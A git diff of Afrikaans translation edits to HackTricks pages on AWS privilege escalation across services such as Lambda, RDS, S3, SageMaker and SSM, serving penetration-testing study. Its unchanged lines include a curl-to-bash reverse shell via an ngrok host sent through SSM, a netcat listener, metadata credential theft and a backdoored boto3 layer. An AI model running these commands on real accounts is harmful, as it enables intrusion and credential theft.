**laai die nuwe lambda-laag op** in u eie rekening (of in die slagoffer s'n, maar u mag dalk nie toestemming hê hiervoor nie).\ +Let daarop dat u 'n python-gids moet skep en die biblioteke daarin moet plaas om /opt/python/boto3 te oorskry. Ook, die laag moet **kompatibel wees met die python weergawe** wat deur die lambda gebruik word en as u dit na u rekening oplaai, moet dit in die **dieselfde streek** wees: ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` @@ -228,9 +228,9 @@ aws lambda update-function-configuration \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` -Die volgende stap sal wees om of **die funksie** self aan te roep as ons kan of om te wag totdat dit **aangeroep word** deur normale middele – wat die veiliger metode is. +Die volgende stap sou wees om of die **funksie** self aan te roep as ons kan of om te wag totdat dit **aangeroep word** deur normale middele – wat die veiliger metode is. -'n **Meer stealth manier om hierdie kwesbaarheid te benut** kan gevind word in: +'n **Meer stil manier om hierdie kwesbaarheid te benut** kan gevind word in: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 25935732b..0afada49a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -11,7 +11,7 @@ Vir meer inligting oor Lightsail, kyk: {{#endref}} > [!WARNING] -> Dit is belangrik om te noem dat Lightsail **nie IAM rolle wat aan die gebruiker behoort gebruik nie** maar aan 'n AWS bestuurde rekening, so jy kan nie hierdie diens misbruik om privesc te doen nie. Tog, **sensitiewe data** soos kode, API sleutels en databasis inligting kan in hierdie diens gevind word. +> Dit is belangrik om te noem dat Lightsail **nie IAM rolle wat aan die gebruiker behoort gebruik nie**, maar aan 'n AWS bestuurde rekening, so jy kan nie hierdie diens misbruik om privesc te doen nie. Tog kan **sensitiewe data** soos kode, API sleutels en databasisinligting in hierdie diens gevind word. ### `lightsail:DownloadDefaultKeyPair` @@ -31,7 +31,7 @@ aws lightsail get-instance-access-details --instance-name ### `lightsail:CreateBucketAccessKey` -Hierdie toestemming sal jou toelaat om 'n sleutel te kry om toegang tot die emmer te verkry: +Hierdie toestemming sal jou toelaat om 'n sleutel te verkry om toegang tot die emmer te verkry: ```bash aws lightsail create-bucket-access-key --bucket-name ``` @@ -79,7 +79,7 @@ aws lightsail put-instance-public-ports \ ### `lightsail:SetResourceAccessForBucket` -Hierdie toestemming laat toe om 'n instansie toegang tot 'n emmer te gee sonder enige ekstra akrediteer. +Hierdie toestemming laat toe om 'n instansie toegang tot 'n emmer te gee sonder enige ekstra geloofsbriewe. ```bash aws set-resource-access-for-bucket \ --resource-name \ @@ -105,7 +105,7 @@ aws update-bucket --bucket-name --access-rules getObject=private,allowPu ### `lightsail:UpdateContainerService` -Met hierdie toestemmings kan 'n aanvaller toegang tot private ECR's van die houerdiens verleen. +Met hierdie toestemmings kan 'n aanvaller toegang tot privaat ECR's van die houerdiens verleen. ```bash aws update-container-service \ --service-name \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index ca9069080..c4db48661 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -21,7 +21,7 @@ aws mq create-user --broker-id --console-access --password --use ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` -Met daardie toestemmings kan jy **'n nuwe gebruiker in 'n ActimeMQ broker skep** (dit werk nie in RabbitMQ nie): +Met daardie toestemmings kan jy **'n nuwe gebruiker in 'n ActiveMQ broker skep** (dit werk nie in RabbitMQ nie): ```bash aws mq list-brokers aws mq list-users --broker-id @@ -36,7 +36,7 @@ As 'n broker **LDAP** vir outorisering met **ActiveMQ** gebruik. Dit is moontlik aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` -As jy op een of ander manier die oorspronklike geloofsbriewe wat deur ActiveMQ gebruik is, kan vind, kan jy 'n MitM uitvoer, die geloofsbriewe steel, dit in die oorspronklike bediener gebruik, en die antwoord stuur (misschien net die gesteelde geloofsbriewe hergebruik, jy kan dit doen). +As jy op een of ander manier die oorspronklike geloofsbriewe wat deur ActiveMQ gebruik is, kan vind, kan jy 'n MitM uitvoer, die geloofsbriewe steel, dit in die oorspronklike bediener gebruik, en die antwoord stuur (misschien net die gesteelde geloofsbriewe hergebruik, kan jy dit doen). **Potensiële Impak:** Steel ActiveMQ geloofsbriewe diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index 85beb09d3..a82f40fbe 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -12,11 +12,11 @@ Vir meer inligting oor MSK (Kafka) kyk: ### `msk:ListClusters`, `msk:UpdateSecurity` -Met hierdie **privileges** en **toegang tot die VPC waar die kafka brokers is**, kan jy die **Geen outentisering** byvoeg om toegang tot hulle te verkry. +Met hierdie **privileges** en **toegang tot die VPC waar die kafka brokers is**, kan jy die **None authentication** byvoeg om toegang tot hulle te verkry. ```bash aws msk --client-authentication --cluster-arn --current-version ``` -Jy het toegang tot die VPC nodig omdat **jy kan nie Geen outentikasie met Kafka publiek** blootgestel aktiveer nie. As dit publiek blootgestel is, as **SASL/SCRAM** outentikasie gebruik word, kan jy **die geheim lees** om toegang te verkry (jy sal addisionele voorregte nodig hê om die geheim te lees).\ -As **IAM rol-gebaseerde outentikasie** gebruik word en **kafka publiek blootgestel** is, kan jy steeds hierdie voorregte misbruik om jou toestemmings te gee om toegang te verkry. +Jy het toegang tot die VPC nodig omdat **jy kan nie Geen outentisering met Kafka publiek** blootgestel aktiveer nie. As dit publiek blootgestel is, as **SASL/SCRAM** outentisering gebruik word, kan jy **die geheim lees** om toegang te verkry (jy sal addisionele voorregte nodig hê om die geheim te lees).\ +As **IAM rol-gebaseerde outentisering** gebruik word en **kafka is publiek blootgestel** kan jy steeds hierdie voorregte misbruik om jou toestemmings te gee om toegang te verkry. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 4d931a943..dd68e5841 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -1,4 +1,4 @@ -# AWS - Organizations Privesc +# AWS - Organisasies Privesc {{#include ../../../banners/hacktricks-training.md}} @@ -10,9 +10,9 @@ Vir meer inligting, kyk: ../aws-services/aws-organizations-enum.md {{#endref}} -## Van bestuurrekening na kindrekening +## Van bestuurrekening na kinderekeninge -As jy die wortel/bestuurrekening kompromitteer, is daar 'n goeie kans dat jy al die kindrekeninge kan kompromitteer.\ +As jy die wortel/bestuursrekening kompromitteer, is daar 'n groot kans dat jy al die kinderekeninge kan kompromitteer.\ Om [**te leer hoe, kyk hierdie bladsy**](../#compromising-the-organization). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index 95493f3b9..b88f69bd5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## RDS - Relasionele Databasisdiens +## RDS - Relational Database Service Vir meer inligting oor RDS, kyk: @@ -27,7 +27,7 @@ aws rds modify-db-instance \ psql postgresql://:@:5432/ ``` > [!WARNING] -> Jy sal in staat moet wees om te **kontak met die databasis** (hulle is gewoonlik net vanaf binne-netwerke toeganklik). +> Jy sal in staat moet wees om die **databasis te kontak** (hulle is gewoonlik net vanaf binne-netwerke toeganklik). **Potensiële Impak:** Vind sensitiewe inligting binne die databasisse. @@ -42,13 +42,13 @@ Volgens die [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Us > [!TIP] > As jy **`SELECT datname FROM pg_database;`** uitvoer en 'n databasis genaamd **`rdsadmin`** vind, weet jy jy is binne 'n **AWS postgresql databasis**. -Eerstens kan jy kyk of hierdie databasis gebruik is om toegang te verkry tot enige ander AWS-diens. Jy kan dit nagaan deur na die geïnstalleerde uitbreidings te kyk: +Eerstens kan jy kyk of hierdie databasis gebruik is om toegang tot enige ander AWS-diens te verkry. Jy kan dit nagaan deur na die geïnstalleerde uitbreidings te kyk: ```sql SELECT * FROM pg_extension; ``` As jy iets soos **`aws_s3`** vind, kan jy aanneem dat hierdie databasis **'n soort toegang oor S3** het (daar is ander uitbreidings soos **`aws_ml`** en **`aws_lambda`**). -Ook, as jy toestemmings het om **`aws rds describe-db-clusters`** uit te voer, kan jy daar sien of die **kluster enige IAM Rol aangeheg het** in die veld **`AssociatedRoles`**. As daar enige is, kan jy aanneem dat die databasis **voorberei was om toegang tot ander AWS dienste** te hê. Gebaseer op die **naam van die rol** (of as jy die **toestemmings** van die rol kan kry) kan jy **raai** watter ekstra toegang die databasis het. +As jy ook toestemmings het om **`aws rds describe-db-clusters`** uit te voer, kan jy daar sien of die **kluster enige IAM Rol aangeheg** het in die veld **`AssociatedRoles`**. As daar enige is, kan jy aanneem dat die databasis **voorberei is om toegang tot ander AWS dienste** te hê. Gebaseer op die **naam van die rol** (of as jy die **toestemmings** van die rol kan kry) kan jy **raai** watter ekstra toegang die databasis het. Nou, om **'n lêer binne 'n emmer** te lees, moet jy die volle pad weet. Jy kan dit lees met: ```sql @@ -71,7 +71,7 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` -As jy **raw AWS-akkrediteerings** gehad het, kon jy dit ook gebruik om toegang tot S3-data te verkry met: +As jy **ruwe AWS geloofsbriewe** gehad het, kon jy dit ook gebruik om toegang tot S3-data te verkry met: ```sql SELECT aws_s3.table_import_from_s3( 't', '', '(format csv)', @@ -80,7 +80,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` > [!NOTE] -> Postgresql **hoef nie enige parameter groep veranderlike te verander** om toegang tot S3 te verkry nie. +> Postgresql **hoef nie enige parameter groep veranderlike aan te pas** om toegang tot S3 te verkry nie. #### Mysql (Aurora) @@ -100,7 +100,7 @@ DROP TABLE ttemp; ``` ### `rds:AddRoleToDBCluster`, `iam:PassRole` -'n Aanvaller met die toestemmings `rds:AddRoleToDBCluster` en `iam:PassRole` kan **'n gespesifiseerde rol aan 'n bestaande RDS-instantie voeg**. Dit kan die aanvaller in staat stel om **sensitiewe data te bekom** of die data binne die instantie te wysig. +'n Aanvaller met die toestemmings `rds:AddRoleToDBCluster` en `iam:PassRole` kan **'n gespesifiseerde rol aan 'n bestaande RDS-instansie voeg**. Dit kan die aanvaller toelaat om **toegang tot sensitiewe data** te verkry of die data binne die instansie te wysig. ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` @@ -109,7 +109,7 @@ Let daarop dat sommige DB's addisionele konfigurasies vereis soos Mysql, wat die ### `rds:CreateDBInstance` -Net met hierdie toestemming kan 'n aanvaller 'n **nuwe instansie binne 'n kluster** wat reeds bestaan en 'n **IAM rol** aangeheg het, skep. Hy sal nie in staat wees om die meester gebruikerswagwoord te verander nie, maar hy mag in staat wees om die nuwe databasisinstansie aan die internet bloot te stel: +Net met hierdie toestemming kan 'n aanvaller 'n **nuwe instantie binne 'n kluster** wat reeds bestaan en 'n **IAM rol** aangeheg het, skep. Hy sal nie in staat wees om die meester gebruikerswagwoord te verander nie, maar hy mag in staat wees om die nuwe databasisinstantie aan die internet bloot te stel: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ --db-instance-identifier mydbinstance2 \ @@ -124,7 +124,7 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ > [!NOTE] > TODO: Toets -An aanvaller met die toestemmings `rds:CreateDBInstance` en `iam:PassRole` kan **nuwe RDS-instantie met 'n spesifieke rol aangeheg**. Die aanvaller kan dan moontlik **toegang tot sensitiewe data** verkry of die data binne die instantie verander. +'n Aanvaller met die toestemmings `rds:CreateDBInstance` en `iam:PassRole` kan **'n nuwe RDS-instansie met 'n spesifieke rol aangeheg skep**. Die aanvaller kan dan moontlik **toegang tot sensitiewe data** verkry of die data binne die instansie wysig. > [!WARNING] > Sommige vereistes van die rol/instansie-profiel om aan te heg (van [**hier**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 888e36291..8417a4a7c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -23,8 +23,8 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` -Met hierdie toestemmings kan jy **inligting van al die klusters** kry en **kredensiale** verkry om toegang te verkry.\ -Let daarop dat die postgres gebruiker die **toestemmings sal hê wat die IAM identiteit** wat gebruik is om die kredensiale te verkry, het. +Met hierdie toestemmings kan jy **inligting van al die klusters** verkry en **kredensiale** kry om toegang te verkry.\ +Let daarop dat die postgres gebruiker die **toestemmings wat die IAM identiteit** wat gebruik is om die kredensiale te verkry, sal hê. ```bash # Get creds aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 @@ -35,7 +35,7 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -Dit is moontlik om die **hoofwagwoord** van die interne postgres (redshit) gebruiker vanaf aws cli te **wysig** (Ek dink dit is die regte toestemmings wat jy nodig het, maar ek het dit nog nie getoets nie): +Dit is moontlik om die **hoof wagwoord** van die interne postgres (redshit) gebruiker vanaf aws cli te **wysig** (Ek dink dit is die regte toestemmings wat jy nodig het, maar ek het dit nog nie getoets nie): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` @@ -44,13 +44,13 @@ aws redshift modify-cluster –cluster-identifier ## Toegang tot Eksterne Dienste > [!WARNING] -> Om toegang te verkry tot al die volgende hulpbronne, sal jy **die rol wat gebruik moet word** moet **specifiseer**. 'n Redshift-kluster **kan 'n lys van AWS-rolle toegeken hê** wat jy kan gebruik **as jy die ARN ken** of jy kan net "**default**" stel om die standaard een wat toegeken is, te gebruik. +> Om toegang te verkry tot al die volgende hulpbronne, sal jy **die rol wat gebruik moet word** moet **specifiseer**. 'n Redshift-kluster **kan 'n lys van AWS-rolle toegeken hê** wat jy kan gebruik **as jy die ARN ken** of jy kan net "**default**" stel om die standaard een te gebruik. > Boonop, soos [**hier verduidelik**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), laat Redshift ook toe om rolle te concat (solank die eerste een die tweede een kan aanvaar) om verdere toegang te verkry, maar net **deur** hulle met 'n **komma** te **skei**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` ### Lambdas -Soos verduidelik in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), is dit moontlik om **'n lambda-funksie vanaf redshift aan te roep** met iets soos: +Soos verduidelik in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), is dit moontlik om 'n **lambda-funksie vanaf redshift aan te roep** met iets soos: ```sql CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) RETURNS INT @@ -86,7 +86,7 @@ iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ### EMR -Kyk na [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) +Kontroleer [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) ## References diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index c04a94f6f..db33249a2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -8,7 +8,7 @@ 'n Aanvaller met daardie toestemmings oor interessante emmers mag in staat wees om hulpbronne te kapen en voorregte te verhoog. -Byvoorbeeld, 'n aanvaller met daardie **toestemmings oor 'n cloudformation-emmer** genaamd "cf-templates-nohnwfax6a6i-us-east-1" sal in staat wees om die ontplooiing te kapen. Die toegang kan gegee word met die volgende beleid: +Byvoorbeeld, 'n aanvaller met daardie **toestemmings oor 'n cloudformation emmer** genaamd "cf-templates-nohnwfax6a6i-us-east-1" sal in staat wees om die ontplooiing te kapen. Die toegang kan gegee word met die volgende beleid: ```json { "Version": "2012-10-17", @@ -34,25 +34,25 @@ Byvoorbeeld, 'n aanvaller met daardie **toestemmings oor 'n cloudformation-emmer ] } ``` -En die kaping is moontlik omdat daar 'n **klein tydvenster is vanaf die oomblik dat die sjabloon na die emmer opgelaai word** tot die oomblik dat die **sjabloon ontplooi word**. 'n Aanvaller kan eenvoudig 'n **lambda-funksie** in sy rekening skep wat **geaktiveer word wanneer 'n emmer kennisgewing gestuur word**, en **kap** die **inhoud** van daardie **emmer**. +En die oorneming is moontlik omdat daar 'n **klein tydvenster is vanaf die oomblik dat die sjabloon opgelaai word** na die emmer tot die oomblik dat die **sjabloon ontplooi word**. 'n Aanvaller mag net 'n **lambda-funksie** in sy rekening skep wat **geaktiveer word wanneer 'n emmer kennisgewing gestuur word**, en **oornemings** die **inhoud** van daardie **emmer**. ![](<../../../images/image (174).png>) -Die Pacu-module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kan gebruik word om hierdie aanval te outomatiseer.\ +Die Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kan gebruik word om hierdie aanval te outomatiseer.\ Vir meer inligting, kyk na die oorspronklike navorsing: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -Dit is die toestemmings om **objekte na S3 te kry en op te laai**. Verskeie dienste binne AWS (en buite dit) gebruik S3-stoor om **konfigurasie lêers** te stoor.\ -'n Aanvaller met **lees toegang** tot hulle kan **sensitiewe inligting** daarop vind.\ -'n Aanvaller met **skryf toegang** tot hulle kan **die data wysig om 'n diens te misbruik en probeer om voorregte te verhoog**.\ +Dit is die toestemmings om **objekte na S3 te kry en op te laai**. Verskeie dienste binne AWS (en buite dit) gebruik S3 berging om **konfigurasie lêers** te stoor.\ +'n Aanvaller met **lees toegang** tot hulle mag **sensitiewe inligting** daarop vind.\ +'n Aanvaller met **skryf toegang** tot hulle kan **die data verander om 'n diens te misbruik en probeer om voorregte te verhoog**.\ Hierdie is 'n paar voorbeelde: -- As 'n EC2-instantie die **gebruikersdata in 'n S3-emmer** stoor, kan 'n aanvaller dit wysig om **arbitraire kode binne die EC2-instantie uit te voer**. +- As 'n EC2 instance die **gebruikersdata in 'n S3 emmer** stoor, kan 'n aanvaller dit verander om **arbitraire kode binne die EC2 instance uit te voer**. ### `s3:PutBucketPolicy` -'n Aanvaller, wat moet wees **van dieselfde rekening**, anders sal die fout `Die gespesifiseerde metode is nie toegelaat nie` geaktiveer word, met hierdie toestemming sal in staat wees om vir homself meer toestemmings oor die emmer(s) toe te ken wat hom toelaat om emmers te lees, te skryf, te wysig, te verwyder en bloot te stel. +'n Aanvaller, wat moet wees **van die dieselfde rekening**, anders sal die fout `Die gespesifiseerde metode is nie toegelaat nie` geaktiveer word, met hierdie toestemming sal in staat wees om vir homself meer toestemmings oor die emmer(s) toe te ken wat hom toelaat om te lees, te skryf, te verander, te verwyder en emmers bloot te stel. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index e5c8a2483..27aff692c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -12,12 +12,12 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \ --instance-type ml.t2.medium \ --role-arn arn:aws:iam:::role/service-role/ ``` -Die antwoord moet 'n `NotebookInstanceArn` veld bevat, wat die ARN van die nuut geskepte notaboekinstansie sal bevat. Ons kan dan die `create-presigned-notebook-instance-url` API gebruik om 'n URL te genereer wat ons kan gebruik om toegang tot die notaboekinstansie te verkry sodra dit gereed is: +Die antwoord moet 'n `NotebookInstanceArn` veld bevat, wat die ARN van die nuut geskepte notaboekinstansie sal bevat. Ons kan dan die `create-presigned-notebook-instance-url` API gebruik om 'n URL te genereer wat ons kan gebruik om toegang te verkry tot die notaboekinstansie sodra dit gereed is: ```bash aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -Navigeer na die URL met die blaaier en klik op \`Open JupyterLab\` in die boonste regterkant, scroll dan af na die “Launcher” oortjie en onder die “Other” afdeling, klik die “Terminal” knoppie. +Navigeer na die URL met die blaaier en klik op \`Open JupyterLab\` in die boonste regterkant, scroll dan af na die “Launcher” tab en onder die “Other” afdeling, klik die “Terminal” knoppie. Nou is dit moontlik om toegang te verkry tot die metadata geloofsbriewe van die IAM Rol. @@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name [!WARNING] -> Hierdie scenario is moeiliker om te benut as die vorige een omdat jy 'n Docker beeld moet genereer wat die rev shell of creds direk na die aanvaller sal stuur (jy kan nie 'n beginopdrag in die konfigurasie van die opleidingswerk aandui nie). +> Hierdie scenario is moeiliker om te benut as die vorige een omdat jy 'n Docker beeld moet genereer wat die rev shell of krediete direk na die aanvaller sal stuur (jy kan nie 'n beginopdrag in die konfigurasie van die opleidingswerk aandui nie). > > ```bash > # Skep docker beeld @@ -94,7 +94,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -'n Aanvaller met daardie toestemmings sal (potensieel) in staat wees om 'n **hyperparameter opleidingswerk** te skep, **'n arbitrêre houer** daarop te laat loop met 'n **rol aangeheg** daaraan.\ +'n Aanvaller met daardie toestemmings sal (potensieel) in staat wees om 'n **hyperparameter opleidingswerk** te skep, **wat 'n arbitrêre houer** daarop laat loop met 'n **rol aangeheg** daaraan.\ &#xNAN;_I het nie uitgebuit nie weens die gebrek aan tyd, maar dit lyk soortgelyk aan die vorige uitbuitings, voel vry om 'n PR met die uitbuitingsbesonderhede te stuur._ ## Verwysings diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index d3ef36d44..9bdb421a2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -16,11 +16,11 @@ Vir meer inligting oor secrets manager, kyk: ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` -**Potensiële Impak:** Toegang tot hoogs sensitiewe data binne die AWS secrets manager diens. +**Potensiële Impak:** Toegang tot hoë sensitiewe data binne die AWS secrets manager diens. ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -Met die vorige toestemmings is dit moontlik om **toegang te gee aan ander principals/rekeninge (selfs eksterne)** om die **geheim** te bekom. Let daarop dat om **geheime wat met 'n KMS-sleutel versleut is** te **lees**, die gebruiker ook **toegang tot die KMS-sleutel** moet hê (meer inligting op die [KMS Enum bladsy](../aws-services/aws-kms-enum.md)). +Met die vorige toestemmings is dit moontlik om **toegang te gee aan ander principals/rekeninge (selfs eksterne)** om die **geheim** te bekom. Let daarop dat om **geheime wat met 'n KMS-sleutel versleut is** te **lees**, die gebruiker ook **toegang oor die KMS-sleutel** moet hê (meer inligting op die [KMS Enum page](../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index a43e89386..55944920c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -20,7 +20,7 @@ aws sns publish --topic-arn --message ### `sns:Subscribe` -'n Aanvaller kan inteken op 'n SNS onderwerp, wat moontlik ongeoorloofde toegang tot boodskappe verleen of die normale funksionering van toepassings wat op die onderwerp staatmaak, ontwrig. +'n Aanvaller kan inteken of op 'n SNS onderwerp, wat moontlik ongeoorloofde toegang tot boodskappe kan verkry of die normale funksionering van toepassings wat op die onderwerp staatmaak, kan ontwrig. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` @@ -32,6 +32,6 @@ aws sns subscribe --topic-arn --protocol --endpoint ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` -**Potensiële Impak**: Onbevoegde toegang tot die onderwerp, boodskapblootstelling, of onderwerp manipulasie deur onbevoegde gebruikers of dienste, onderbreking van normale funksionering vir toepassings wat op die onderwerp staatmaak. +**Potensiële Impak**: Onbevoegde toegang tot die onderwerp, boodskapblootstelling, of onderwerp manipulasie deur onbevoegde gebruikers of dienste, ontwrigting van normale funksionering vir toepassings wat op die onderwerp staatmaak. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index 54beb5022..3abdb5df1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -16,16 +16,16 @@ Vir meer inligting, kyk: ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` -**Potensiële Impak**: Onbevoegde toegang tot die lys, boodskap blootstelling, of lys manipulasie deur onbevoegde gebruikers of dienste. +**Potensiële Impak**: Onbevoegde toegang tot die wachtrij, boodskapblootstelling, of wachtrijmanipulasie deur onbevoegde gebruikers of dienste. ### `sqs:SendMessage` , `sqs:SendMessageBatch` -'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SQS-lys stuur, wat moontlik data korrupsie kan veroorsaak, onbedoelde aksies kan ontketen, of hulpbronne kan uitput. +'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SQS-wachtrij stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan aktiveer, of hulpbronne kan uitput. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` -**Potensiële Impak**: Kwetsbaarheid benutting, Data korrupsie, onbedoelde aksies, of hulpbron uitputting. +**Potensiële Impak**: Kwetsbaarheid eksplorasie, Data korrupsie, onbedoelde aksies, of hulpbron uitputting. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index 4f40bf7d5..e94164352 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` -In die geval dat jy hierdie tegniek gebruik om voorregte te verhoog binne 'n reeds gecompromitteerde EC2-instansie, kan jy net die rev shell plaaslik vang met: +In die geval dat jy hierdie tegniek gebruik om voorregte te verhoog binne 'n reeds gecompromitteerde EC2-instantie, kan jy net die rev shell plaaslik vang met: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 